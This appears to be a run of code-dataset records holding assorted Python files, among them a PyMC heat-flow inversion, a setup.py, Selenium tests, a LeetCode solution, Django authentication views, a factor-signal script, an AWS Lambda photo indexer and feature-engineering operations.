h_convec * delta_x / lambda_\n\n    # Matrices A et b\n    diag_moy = -2*np.ones(N_nodes)\n    diag_sup = np.ones(N_nodes-1)\n    diag_inf = np.ones(N_nodes-1)\n    diag_moy[-1] += -2*Biot\n    diag_sup[0]  += 1\n    diag_inf[-1] += 1\n    A = a / delta_x**2 * (np.diag(diag_moy)+np.diag(diag_inf, k=-1)+np.diag(diag_sup, k=1))\n    b = np.zeros(N_nodes)\n    b[0] += 2./(rho_cp * delta_x)\n    \n    # Calcul par résolution du système linéaire à chaque pas de temps\n    T = T_initial * np.ones((N_samples, N_nodes))\n    X = np.eye(N_nodes) - time_step * A\n    for t in range(len(time_)-1):\n        # Calcul de u a partir de ses parametres\n        f = np.array([f_hat(t+1, _) for _ in range(N_modes-1)])\n        u = np.dot(um, f)\n        Y = T[t] + time_step*u*b\n        T[t+1] = np.linalg.solve(X,Y)\n    \n    # Interpolation to get the temperature evolution at the sensor position\n    #xc = np.min( (np.max((0, xc)),0.05) )\n    foo = interp1d(x, T, bounds_error = False, fill_value = 0)\n    T_xc = foo(xc)\n    # Second interpolation to get this evolution at the time scale of measurements\n    return np.interp(time_mesure, time_, T_xc)\n\n# Likelihood\nobservation = pm.Normal(\"obs\", mu = temperature, tau = 1./eps_T_pm**2, value=T_mesure, observed=True)\n\n\"\"\" Inférence \"\"\"\n\nR = pm.MCMC([observation, eps_T_pm, um_pm])\nR.sample(1000)\neps_T_samples = R.trace('noise')[:]\num_samples = R.trace('modes')[:]\n\num_moyen= um_samples.mean(axis=0)\nu_moyen = np.zeros_like(time_)\nfor t in range(len(time_)-1):\n    f = np.array([f_hat(t+1, _) for _ in range(N_modes-1)])\n    u_moyen[t] = np.dot(um_moyen, f)\n\nimport pylab as plt\nplt.subplot(2,1,1)\nplt.hist(eps_T_samples, bins=30)\nplt.subplot(2,1,2)\nplt.plot(time_, u_moyen)\n","sub_path":"02_HeatFlow/heatflow_pymc.py","file_name":"heatflow_pymc.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"111011356","text":"import os\nimport sys\n\n_version = sys.version_info[0]\n\ntry:\n    from setuptools import Extension, setup\nexcept ImportError:\n    sys.exit('You must have setuptools to install pymallet')\n\nUSE_CYTHON = True\ntry:\n    from Cython.Build import cythonize\nexcept:\n    USE_CYTHON = False\n    \nfrom distutils.command.build import build as build_orig\n\next = '.pyx' if USE_CYTHON else '.c'\nEXTENSIONS = [Extension(name='pymallet.topicmodel', sources=['pymallet/topicmodel{}'.format(ext)])]\nif USE_CYTHON:\n    print('Using Cython')\n    EXTENSIONS = cythonize(EXTENSIONS)\n\nclass build(build_orig):\n\n    def finalize_options(self):\n        super().finalize_options()\n        __builtins__.__NUMPY_SETUP__ = False\n        import numpy\n        EXTENSIONS[0].include_dirs.append(numpy.get_include())\n\nHERE = os.path.dirname(os.path.realpath(__file__))\n\nREADME = open(os.path.join(HERE, 'README.md')).read()\n\nsetup(\n    name='dlatk-pymallet',\n    version='1.0.2',\n    description='A PyMallet implementation adapted to DLATK.',\n    long_description=README,\n    long_description_content_type='text/markdown',\n    url='https://github.com/gtsherman/pymallet',\n    author='David Mimno (original PyMallet), Garrick Sherman (adaptation)',\n    author_email='garricks@sas.upenn.edu',\n    license='MIT',\n    setup_requires=['numpy'],\n    install_requires=['numpy'],\n    packages=['pymallet'],\n    entry_points={'console_scripts': ['pymallet=pymallet.lda:main']},\n    ext_modules=EXTENSIONS,\n    cmdclass={'build': build},\n    include_package_data=True\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"187090196","text":"from Pages.MediaPages.VideoMedia import VideoMedia\nimport pytest\n\n\n@pytest.allure.feature('Media')\n@pytest.allure.story('Video media')\n@pytest.mark.usefixtures('init_media_page')\nclass TestImageMedia:\n\n    @pytest.allure.title('VDM-733 Video media - creating with youtube link')\n    def test_video_youtube_creating(self):\n        self.media_page.open_page('video')\n        video = VideoMedia(self.driver)\n        video.add_youtube_video()\n        url = self.driver.current_url\n        self.media_page.save_media()\n        assert self.driver.current_url != url\n        assert video.get_video().is_displayed()\n        assert video.video_data['youtube_video']\n        video.delete_media()\n\n    @pytest.allure.title('VDM-736 Video media - creating with vimeo link')\n    def test_video_vimeo_creating(self):\n        self.media_page.open_page('video')\n        video = VideoMedia(self.driver)\n        video.add_vimeo_video()\n        url = self.driver.current_url\n        self.media_page.save_media()\n        assert self.driver.current_url != url\n        assert video.get_video().is_displayed()\n        assert video.video_data['vimeo_video']\n        video.delete_media()\n\n    @pytest.allure.title('VDM-735 Video media - wrong format video')\n    def test_video_vimeo_incorrect_link_validation(self):\n        self.media_page.open_page('video')\n        video = VideoMedia(self.driver)\n        video.add_not_valid_video()\n        url = self.driver.current_url\n        self.media_page.save_media()\n        assert self.driver.current_url == url\n\n    @pytest.allure.title('VDM-??? Video media - empty fields validation')\n    def test_video_empty_fields(self):\n        self.media_page.open_page('video')\n        video = VideoMedia(self.driver)\n        video.set_name()\n        url = self.driver.current_url\n        self.media_page.save_media()\n        assert self.driver.current_url == url\n\n    @pytest.allure.title('VDM-??? Video media - check fields existing ')\n    def test_video_check_fields_existing(self):\n        self.media_page.open_page('video')\n        video = VideoMedia(self.driver)\n        assert video.get_name().is_displayed()\n        assert video.get_video_url().is_displayed()\n        assert video.get_url_alias().is_displayed()","sub_path":"test_media/test_video.py","file_name":"test_video.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"283885909","text":"# method 2: union find\n\nclass Solution(object):\n    def minSwapsCouples(self, row):\n        \"\"\"\n        :type row: List[int]\n        :rtype: int\n        \"\"\"\n        if not row:\n            return 0\n        N = len(row)//2\n        parent = {i:i for i in range(2*N)}\n        size = {i:1 for i in range(2*N)}\n        \n        def find(u):\n            if parent[u] != u:\n                parent[u] = find(parent[u])\n            return parent[u]\n        def union(u, v):\n            p, q = find(u), find(v)\n            if p != q:\n                if size[p] < size[q]:\n                    p, q = q, p\n                parent[q] = p\n                size[p] += size[q]\n                return True\n            return False\n        \n        for i in range(0, 2*N, 2):\n            union(i, i+1)   # union couples\n            union(row[i], row[i+1])  # union neighbors\n        map(find, parent)\n        roots = set(parent.values())\n        swap = 0\n        for root in roots:\n            swap += size[root]//2 - 1\n        return swap\n    \n\n# method 1\n# the seats of the couple don't matter, \n# as long as the couple is sitting together\n# paired seats can be saved into a dictionary\n\nclass Solution1(object):\n    def minSwapsCouples(self, row):\n        \"\"\"\n        :type row: List[int]\n        :rtype: int\n        \"\"\"\n        d = {}\n        for i in range(0, len(row), 2):\n            d[row[i]] = row[i+1]\n            d[row[i+1]] = row[i]\n        \n        cnt = 0\n        s = set(d.keys())\n        while s:\n            x1 = s.pop()\n            y1 = d[x1]\n            if y1 != x1^1:\n                # when a swap is needed\n                # {x1:y1, x2:y2} becomes {x1:x2, y1:y2}\n                cnt += 1\n                x2 = x1^1\n                y2 = d[x2]\n                d[y1] = y2\n                d[y2] = y1\n                s.remove(x2)\n            else:\n                s.remove(y1)\n        \n        return cnt\n    \n\n    \n\"\"\"\nN couples sit in 2N seats arranged in a row and want to hold hands. We want to know the minimum number of swaps so that every couple is sitting side by side. A swap consists of choosing any two people, then they stand up and switch seats.\n\nThe people and seats are represented by an integer from 0 to 2N-1, the couples are numbered in order, the first couple being (0, 1), the second couple being (2, 3), and so on with the last couple being (2N-2, 2N-1).\n\nThe couples' initial seating is given by row[i] being the value of the person who is initially sitting in the i-th seat.\n\nExample 1:\n\nInput: row = [0, 2, 1, 3]\nOutput: 1\nExplanation: We only need to swap the second (row[1]) and third (row[2]) person.\nExample 2:\n\nInput: row = [3, 2, 0, 1]\nOutput: 0\nExplanation: All couples are already seated side by side.\nNote:\n\nlen(row) is even and in the range of [4, 60].\nrow is guaranteed to be a permutation of 0...len(row)-1.\n\"\"\"\n\n","sub_path":"0765. Couples Holding Hands.py","file_name":"0765. Couples Holding Hands.py","file_ext":"py","file_size_in_byte":2843,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"275192854","text":"import json\nimport requests\n\nfrom django.contrib.auth import get_user_model\nfrom django.conf import settings\n\nfrom rest_framework.generics import CreateAPIView, GenericAPIView, RetrieveAPIView\nfrom rest_framework.permissions import AllowAny\n\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom core.permissions import LoginRequired\nfrom .models import Person\nfrom .forms import UserForm, PersonForm\nfrom .serializers import (\n    UserSerializer,\n    UserSignupSerializer,\n    UserActiveSerializer,\n    UserSignInSerializer,\n    UserSignInFacebookSerializer,\n)\nfrom . import messages, utils\n\n\nclass CurrentUser(RetrieveAPIView):\n    model = get_user_model()\n    queryset = get_user_model().objects.all()\n    permission_classes = (LoginRequired,)\n    serializer_class = UserSerializer\n\n    def get(self, request, *args, **kwargs):\n        payload = utils.parse_token(request)\n        user = utils.user_get_or_none(id=payload['sub'])\n\n        serializer = self.get_serializer(user)\n        return Response(serializer.data)\n\n\nclass SignUp(CreateAPIView):\n    model = get_user_model()\n    queryset = get_user_model().objects.all()\n    permission_classes = (AllowAny,)\n    serializer_class = UserSignupSerializer\n\n    def create(self, request, *args, **kwargs):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n        self.perform_create(serializer)\n        headers = self.get_success_headers(serializer.data)\n        return Response({'message': messages.get_message('USER_CREATE')}, status=status.HTTP_201_CREATED,\n                        headers=headers)\n\n\nclass Active(GenericAPIView):\n    model = get_user_model()\n    queryset = get_user_model().objects.all()\n    permission_classes = (AllowAny,)\n    serializer_class = UserActiveSerializer\n\n    def update(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n\n        user = utils.user_get_or_none(activation_code=request.data['activation_code'])\n\n        if user is not None:\n            if user.is_enabled_activation():\n                user.check_code_activation()\n                return Response({'message': messages.get_message('USER_ACTIVATION_VALID')},\n                                status=status.HTTP_202_ACCEPTED)\n            else:\n                user.create_code_validation(send=True)\n                return Response({'message': messages.get_message('USER_ACTIVATION_EXPIRE')},\n                                status=status.HTTP_202_ACCEPTED)\n        else:\n            return Response({'error': messages.get_message('USER_ACTIVATION_INVALID')},\n                            status=status.HTTP_400_BAD_REQUEST)\n\n    def put(self, request):\n        return self.update(request)\n\n\nclass SignIn(GenericAPIView):\n    permission_classes = (AllowAny,)\n    serializer_class = UserSignInSerializer\n\n    def post(self, request):\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n\n        user = utils.user_get_or_none(email=request.data['email'])\n        message = messages.get_message('USER_LOGIN_UNAUTHORIZED')\n        if user is not None:\n            if user.check_password(request.data['password']):\n                token = utils.create_token(user)\n                return Response({'token': token}, status=status.HTTP_200_OK)\n            else:\n                password = user.get_password()\n                if password is None:\n                    message = messages.get_message('USER_LOGIN_WITH_SOCIAL')\n        return Response({'message': message}, status=status.HTTP_401_UNAUTHORIZED)\n\n\nclass SignInFacebook(GenericAPIView):\n    permission_classes = (AllowAny,)\n    serializer_class = UserSignInFacebookSerializer\n\n    def post(self, request):\n        access_token_url = 'https://graph.facebook.com/v2.5/oauth/access_token'\n        graph_api_url = 'https://graph.facebook.com/v2.5/me'\n\n        serializer = self.get_serializer(data=request.data)\n        serializer.is_valid(raise_exception=True)\n\n        params = {\n            'client_id': request.data['clientId'],\n            'redirect_uri': request.data['redirectUri'],\n            'code': request.data['code'],\n            'client_secret': settings.FACEBOOK_SECRET\n        }\n\n        # Step 1. Exchange authorization code for access token.\n        r = requests.get(access_token_url, params=params)\n        access_token = json.loads(r.text)\n\n        # Step 2. Retrieve information about the current user.\n        params_request = {\n            'access_token': access_token['access_token'],\n            'fields': 'id,email,first_name,last_name,name'\n        }\n        r = requests.get(graph_api_url, params=params_request)\n        profile = json.loads(r.text)\n\n        user = utils.user_get_or_none(facebook_id=profile['id'])\n        if user is None:\n            user = utils.user_get_or_none(email=profile['email'])\n            if user is not None:\n                user.facebook_id = profile['id']\n                user.save()\n            else:\n                profile['facebook_id'] = profile['id']\n                user_form = UserForm(profile)\n                if user_form.is_valid():\n                    user_form.save()\n                    user = utils.user_get_or_none(email=profile['email'])\n\n        person = utils.person_get_or_none(user=user)\n        if person is None:\n            person = Person(user=user)\n            person_form = PersonForm(profile, instance=person)\n            if person_form.is_valid():\n                person_form.save()\n\n        token = utils.create_token(user)\n        return Response({'token': token}, status=status.HTTP_200_OK)\n","sub_path":"core/core/customauth/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5703,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"339170191","text":"# -*-coding: utf-8 -*-\n# Python 3.6\n# Author:Zhang Haitao\n# Email:13163385579@163.com\n# TIME:2018-12-06  12:35\n# NAME:FT_hp-split_signal.py\nfrom backtest_zht.newest import Backtest\nfrom data.dataApi import read_local\nfrom multiFactor_pit.aggregate4000_signals.agg import aggregate\nfrom multiFactor_pit.config import ROOT, LEAST_CROSS_SAMPLE\nimport os\nimport pandas as pd\nfrom tools import multi_process\nfrom statsmodels.regression.linear_model import OLS\n\n\ndef mean(df,window):\n    return df.rolling(window,min_periods=int(window/2)).mean()\n\ndef mean2std(df, window):\n    mn = df.rolling(window, min_periods=int(window / 2)).mean()\n    std = df.rolling(window, min_periods=int(window / 2)).std()\n    indicator = mn / std\n    return indicator\n\ndef _sp(df):\n    return df.mean()/df.std()\n\ndef _task_get_signal(name, adj_ret, G, window, operator='sp'):\n    path=os.path.join(ROOT,'quantile_return','signal',f'{name}_{G}_{window}_{operator}.pkl')\n    if not os.path.exists(path):\n        raw_signal = pd.read_pickle(os.path.join(ROOT, 'signal_panel', name + '.pkl'))\n        #trick: signal has alreadly been shift forward\n        raw_signal=raw_signal.reindex(index=adj_ret.index, columns=adj_ret.columns)\n\n        comb=pd.concat([adj_ret.stack(dropna=False), raw_signal.stack(dropna=False)], axis=1)\n        comb.columns=['adj_ret','raw_signal']\n        comb=comb.dropna()\n        comb=comb.groupby('trd_dt').filter(lambda _df:_df.shape[0]>LEAST_CROSS_SAMPLE)\n        try:\n            comb['g']=comb.groupby('trd_dt')['raw_signal'].apply(lambda s:pd.qcut(s,G,labels=[i for i in range(1,G+1)]))\n        except:#trick: qcut with non unique bin edges\n            comb['g']=comb.groupby('trd_dt')['raw_signal'].apply(lambda s:pd.qcut(s.rank(method='first'),G,labels=[i for i in range(1,G+1)]))\n\n        port_ret=comb.groupby(['trd_dt','g'])['adj_ret'].mean() #TODO: WLS\n        port_ret=port_ret.unstack()\n        indicator=eval(operator)(port_ret,window)\n        indicator=indicator.shift(1) #trick: use the latest portfolio return (t-window to t-1) as indicator value\n        indicator=indicator.stack()\n        indicator.index.names=['trd_dt','g']\n        indicator.name='indicator'\n        comb=comb.reset_index().merge(indicator.to_frame(),left_on=['trd_dt','g'],right_on=['trd_dt','g'])\n        #trick: use the indicator value of time t-1 as signal value directly\n        signal=pd.pivot_table(comb,index='trd_dt',columns='stkcd',values='indicator').shift(1)\n        signal.to_pickle(path)\n        #TODO: standardize?\n        #TODO: how about use distribution rather than the decile portfolios to describe the cross-sectional returns?\n        print(name)\n\n\ndef get_signal():\n    trading=read_local('equity_selected_trading_data')\n    ret=trading['pctchange'].unstack('stkcd').div(100)\n    adj_ret=ret.sub(ret.mean(axis=1),axis=0)\n    fns = os.listdir(os.path.join(ROOT, 'signal_panel')) #trick: we can use the raw indicators directly rather than signal.\n    names=[fn[:-4] for fn in fns]\n\n    def _get_args_gen():\n        for G in [10]:#[5,10]\n            for window in [250,1000]:#[250,500,750,1000,1250]\n                for operator in ['sp']:#['mean','sp']\n                    for name in names:\n                        yield name,adj_ret,G,window,operator\n\n    args_gen=_get_args_gen()\n    multi_process(_task_get_signal, args_gen, multi_parameters=True)\n\ndef _bt_one(fn):\n    signal = pd.read_pickle(os.path.join(ROOT,'quantile_return','signal',fn))\n    name=fn[:-4]\n    directory = os.path.join(\n        r'G:\\FT_Users\\HTZhang\\FT\\multiFactors_pit\\quantile_return\\backtest',\n        name)\n    Backtest(signal, name, directory, start='2009')\n\n\ndef backtest_single_signal():\n    fns=os.listdir(os.path.join(ROOT,'quantile_return','signal'))\n    multi_process(_bt_one,fns)\n\n\n\ndef _tvalue(df,name): #TODO: WLS\n    #TODO: how about standardize the return before regression? No difference, because the linear operation on the right-hand variables do not change the t-value of the slopes.\n    r=OLS(df['ret'],df[['const',name]]).fit()\n    return r.tvalues[name]\n\n\n\ndef _task_get_tvalue(ret_panel,fn,interval=5):\n    name=fn[:-4]\n    signal=pd.read_pickle(os.path.join(r'G:\\FT_Users\\HTZhang\\FT\\multiFactors_pit\\quantile_return\\signal',fn))\n    tmp_ret = ret_panel.copy().reindex(index=signal.index, columns=signal.columns)\n    if interval>1:\n        signal=signal.shift(interval-1)\n        tmp_ret=tmp_ret.rolling(window=interval,min_periods=int(interval/2)).mean()\n\n    comb=pd.concat([signal.stack(dropna=False),tmp_ret.stack(dropna=False)],axis=1)\n    comb=comb.dropna()\n    comb.index.names = ['trd_dt', 'stkcd']\n    comb.columns = [name, 'ret']\n    comb = comb.groupby('trd_dt').filter(\n        lambda df: len(df) > LEAST_CROSS_SAMPLE)\n    comb['const'] = 1\n    ts = comb.groupby('trd_dt').apply(lambda df: _tvalue(df, name))\n    directory=os.path.join(ROOT,'quantile_return',f'tvalue_{interval}')\n    if not os.path.exists(directory):\n        os.makedirs(directory)\n    ts.to_pickle(os.path.join(directory, name + '.pkl'))\n    print(name)\n\ndef get_tvalue_series():\n    ret = read_local('equity_selected_trading_data')[\n        'pctchange'].copy().sort_index()  # TODO:\n    ret_panel = ret.unstack('stkcd')\n\n    fns=os.listdir(os.path.join(ROOT,'quantile_return','signal'))\n    multi_process(_task_get_tvalue,((ret_panel,fn) for fn in fns),multi_parameters=True,n=20,size_in_each_group=100)\n\ndef _get_short_name(x):\n    return x.replace('_'+'_'.join(x.split('_')[-4:]),'')\n\n\n\n\n\nif __name__ == '__main__':\n    get_signal()\n    # backtest_single_signal()\n    get_tvalue_series()\n","sub_path":"multiFactor_pit/splitting/split_signal.py","file_name":"split_signal.py","file_ext":"py","file_size_in_byte":5577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"643537843","text":"import importlib\nimport reg\nimport morepath\nfrom .app import SQLApp, Session, BaseApp\nfrom .authn.pas.user.model import UserCollection, UserSchema, UserModel\nfrom .authn.pas.group.model import GroupSchema, GroupModel\nfrom .sql import Base\nimport os\nfrom zope.sqlalchemy import register as register_session\nfrom more.basicauth import BasicAuthIdentityPolicy\nfrom .exc import ConfigurationError\nimport transaction\nimport sqlalchemy\nfrom celery import Celery\nimport yaml\nimport copy\n\ndefault_settings = open(os.path.join(\n    os.path.dirname(__file__), 'default_settings.yml')).read()\ndefault_settings = default_settings.replace(r'%(here)s', os.getcwd())\ndefault_settings = yaml.load(default_settings)\n\n\n@reg.dispatch(reg.match_class('app', lambda app, *args, **kwargs: app))\ndef create_app(app, settings, scan=True, **kwargs):\n    raise NotImplementedError\n\n\n@create_app.register(app=BaseApp)\ndef create_baseapp(app, settings, scan=True, **kwargs):\n\n    s = copy.deepcopy(default_settings)\n    for k in settings.keys():\n        if k in s.keys():\n            for j, v in settings[k].items():\n                s[k][j] = v\n        else:\n            s[k] = settings[k]\n\n    settings = s\n\n    # initialize app\n\n    if scan:\n        morepath.autoscan()\n        for scanmodpath in (settings['morpfw']['scan'] or []):\n            scanmod = importlib.import_module(scanmodpath)\n            morepath.scan(package=scanmod)\n\n    app_settings = settings['application']\n\n    authnpolicy_settings = app_settings['authn_policy_settings']\n    authnpol_mod, authnpol_clsname = (\n        app_settings['authn_policy'].strip().split(':'))\n\n    authnpolicy = getattr(importlib.import_module(\n        authnpol_mod), authnpol_clsname)(authnpolicy_settings)\n\n    get_identity_policy = authnpolicy.get_identity_policy\n    verify_identity = authnpolicy.verify_identity\n\n    mounted_apps = app_settings['mounted_apps']\n    if getattr(authnpolicy, 'app_cls', None):\n        mounted_apps.append({\n            'app_cls': authnpolicy.app_cls,\n            'authn_policy': app_settings['authn_policy'],\n            'authn_policy_settings': app_settings['authn_policy_settings']\n        })\n    for iapp in mounted_apps:\n        if 'app_cls' in iapp.keys():\n            iapp_cls = iapp['app_cls']\n        else:\n            iapp_path = iapp['app']\n            iapp_mod, iapp_clsname = iapp_path.strip().split(':')\n            iapp_cls = getattr(importlib.import_module(iapp_mod), iapp_clsname)\n\n        if iapp.get('authn_policy', None):\n            iapp_authnpolicy_settings = iapp.get('authn_policy_settings', {})\n            iapp_authnpol_mod, iapp_authnpol_clsname = (\n                iapp['authn_policy'].strip().split(':'))\n            iapp_authnpolicy = getattr(importlib.import_module(\n                iapp_authnpol_mod), iapp_authnpol_clsname)(iapp_authnpolicy_settings)\n            iapp_get_identity_policy = iapp_authnpolicy.get_identity_policy\n            iapp_verify_identity = iapp_authnpolicy.verify_identity\n            iapp_cls.identity_policy()(iapp_get_identity_policy)\n            iapp_cls.verify_identity()(iapp_verify_identity)\n            if getattr(iapp_cls, 'authn_provider', None):\n                iapp_cls.authn_provider()(iapp_authnpolicy.get_app)\n        else:\n            iapp_cls.identity_policy()(get_identity_policy)\n            iapp_cls.verify_identity()(verify_identity)\n            if getattr(iapp_cls, 'authn_provider', None):\n                iapp_cls.authn_provider()(authnpolicy.get_app)\n\n        iapp_cls.init_settings(settings)\n        iapp_cls._raw_settings = settings\n        iapp_cls.commit()\n\n    app.identity_policy()(get_identity_policy)\n    app.verify_identity()(verify_identity)\n    if authnpolicy.app_cls:\n        app.authn_provider()(lambda: authnpolicy.app_cls())\n    app.init_settings(settings)\n    app._raw_settings = settings\n\n    if settings['application']['development_mode']:\n        os.environ['MOREPATH_TEMPLATE_AUTO_RELOAD'] = \"1\"\n\n    app.commit()\n\n    celery_settings = settings['worker']['celery_settings']\n    app.celery.conf.update(**celery_settings)\n    application = app()\n    return application\n\n\n@create_app.register(app=SQLApp)\ndef create_sqlapp(app, settings, scan=True, **kwargs):\n\n    application = create_baseapp(app=app, settings=settings, scan=scan,\n                                 **kwargs)\n\n    application.initdb()\n    return application\n\n\ndef create_admin(app: morepath.App, username: str, password: str, email: str, session=Session):\n    appreq = app.request_class(app=app, environ={'PATH_INFO': '/'})\n    try:\n        authapp = app.get_authn_provider(appreq)\n    except NotImplementedError:\n        return \n\n    request = authapp.request_class(app=authapp, environ={'PATH_INFO': '/'})\n\n    transaction.manager.begin()\n    get_authn_storage = authapp.get_storage\n    usercol = UserCollection(request, get_authn_storage(UserModel, request))\n    userobj = usercol.create({'username': username,\n                              'password': password,\n                              'email': email,\n                              'state': 'active'})\n    gstorage = get_authn_storage(GroupModel, request)\n    group = gstorage.get('__default__')\n    group.add_members([userobj.userid])\n    group.grant_member_role(userobj.userid, 'administrator')\n    transaction.manager.commit()\n    return userobj\n\n\ndef run(app, settings, host='127.0.0.1', port=5000, ignore_cli=True):\n    application = create_app(app, settings)\n    morepath.run(application, host=host, port=port, ignore_cli=ignore_cli)\n","sub_path":"morpfw/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"375842114","text":"import json\nimport boto3\nimport logging\nfrom botocore.vendored import requests\n\ndef lambda_handler(event,context):\n    logger = logging.getLogger()\n    logger.setLevel(logging.INFO)\n\n    rekognition = boto3.client('rekognition')\n    \n    logger.info('got event{}'.format(event))\n    fileName=event[\"Records\"][0][\"s3\"][\"object\"][\"key\"]\n    bucket=event[\"Records\"][0][\"s3\"][\"bucket\"][\"name\"]\n    time=event[\"Records\"][0][\"eventTime\"]\n    # use rekognition detect labels\n    response = rekognition.detect_labels(Image={'S3Object':{'Bucket':bucket,'Name':fileName}}, MaxLabels=10, MinConfidence=70)\n    logger.info(response)\n    # construct the index to store to elastic search\n    putlabel = []\n    for label in response['Labels']:\n        # print (label['Name'] + ' : ' + str(label['Confidence']))\n        putlabel.append(label['Name'])\n    \n    index = {\"objectKey\": fileName, \"bucket\": bucket,\"createdTimestamp\": time, \"labels\": labels}\n    print(index)\n    logger.info(index)\n    \n    # Store to ElasticSearch\n    host = \"https://search-photo-3t6bz7diw35p6bwdhbt4m5txwm.us-east-1.es.amazonaws.com\"\n    post_url = host + \"/searchphotos/_doc\"\n    response = requests.post(post_url, json=index)\n    response = response.text\n    \n    \n    return {\n        'statusCode': 200,\n        'body': json.dumps(response)\n    }\n\n","sub_path":"HW3 PictureSearch/index-photo.py","file_name":"index-photo.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"439391330","text":"from .Operation import Operation\nimport numpy as np\nfrom . import TransformOperations as Tr\nimport pandas as pd\n\nclass OneArgOperation(Operation):\n    def __init__(self):\n        super().__init__()\n        self.operation = None\n        self.opType = \"one_arg\"\n\n    def transform(self, df, new_feature_cache=None, concatenate_originals=True):\n        # Get the names of features that are numeric\n        numeric_col_names = df.select_dtypes(include=['number']).columns.tolist()\n        numeric_col_names = [name for name in numeric_col_names if \"__dummy__\" not in name]\n        numeric_col_names_set = set(numeric_col_names)\n        # Store the names of columns that, once operated upon, will not produce duplicates\n        # e.g. if we are doing a log operation, but we've done one once before, don't repeat log(A) but do log(log(A))\n        non_duplicate_cols = []\n        for i in range(len(numeric_col_names)):\n            new_name = self.getOperation() + \"(\" + numeric_col_names[i] + \")\"\n            if new_name not in numeric_col_names_set:\n                non_duplicate_cols.append(numeric_col_names[i])\n\n        new_values = np.zeros((df.shape[0], len(non_duplicate_cols)))  # will hold the new column values of df\n        # We must keep the list of new names in the original order, else we could run into errors later when\n        # using multi-argument Operation types (e.g. sum)\n\n        if new_feature_cache is None:\n            for i in range(len(non_duplicate_cols)):\n                new_values[:, i] = Tr.oneArgOperationWrapper(self.getOperation(), df[non_duplicate_cols[i]].values)\n        else:\n            for i in range(len(non_duplicate_cols)):\n                name = self.getOperation() + \"(\" + non_duplicate_cols[i] + \")\"\n                if name in new_feature_cache:\n                    new_values[:, i] = new_feature_cache[name]\n                else:\n                    new_values[:, i] = Tr.oneArgOperationWrapper(self.getOperation(), df[non_duplicate_cols[i]].values)\n                    new_feature_cache[name] = new_values[:, i]\n        if concatenate_originals:\n            return pd.concat([df, pd.DataFrame(new_values, columns=[self.getOperation() + \"(\" + name + \")\" for\n                                                                name in non_duplicate_cols], index=df.index)], axis=1)\n        else:\n            return pd.DataFrame(new_values, columns=[self.getOperation() + \"(\" + name + \")\" for\n                                                                name in non_duplicate_cols], index=df.index)\n\nclass LogOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"log\"\n\nclass SquareOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"square\"\n\nclass SinOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"sin\"\n\n    def is_redundant_to_self(self):\n        return True\n\nclass SqrtOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"sqrt\"\n\nclass CosOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"cos\"\n\n    def is_redundant_to_self(self):\n        return True\n\nclass ReciprocalOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"rc\"\n\n    def is_redundant_to_self(self):\n        return True\n\nclass TanhOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"tanh\"\n\n    def is_redundant_to_self(self):\n        return True\n\nclass SigmoidOperation(OneArgOperation):\n    def __init__(self):\n        super().__init__()\n        self.operation = \"sigmoid\"\n\n    def is_redundant_to_self(self):\n        return True\n\ndef getAllOneArgOperations():\n    return [LogOperation(), SquareOperation(), SinOperation(), SqrtOperation(), CosOperation(), ReciprocalOperation(), TanhOperation(), SigmoidOperation()]\n","sub_path":"feature_engineering/data_transformation/operations/OneArgOperation.py","file_name":"OneArgOperation.py","file_ext":"py","file_size_in_byte":3996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"216924417","text":"from bs4 import BeautifulSoup\nimport requests\n\ndef return_lines(url):\t\n\ts = requests.session()\n\tr = s.get(url)\n\thtml_doc = r.text\n\n\tsoup = BeautifulSoup(html_doc, 'html.parser')\n\t# print(soup.prettify())\n\tf = soup.find('div',class_=\"file-info\").text\n\tm = f.strip().split()\n\treturn m[0]\nurl = 'https://github.com/leiyunhe/PrecisionTeachingAndLearning/blob/master/PrecisionTeachingV3/issue_creator.py'\nr = return_lines(url)\nprint(r)","sub_path":"PrecisionTeachingV3/testbs.py","file_name":"testbs.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
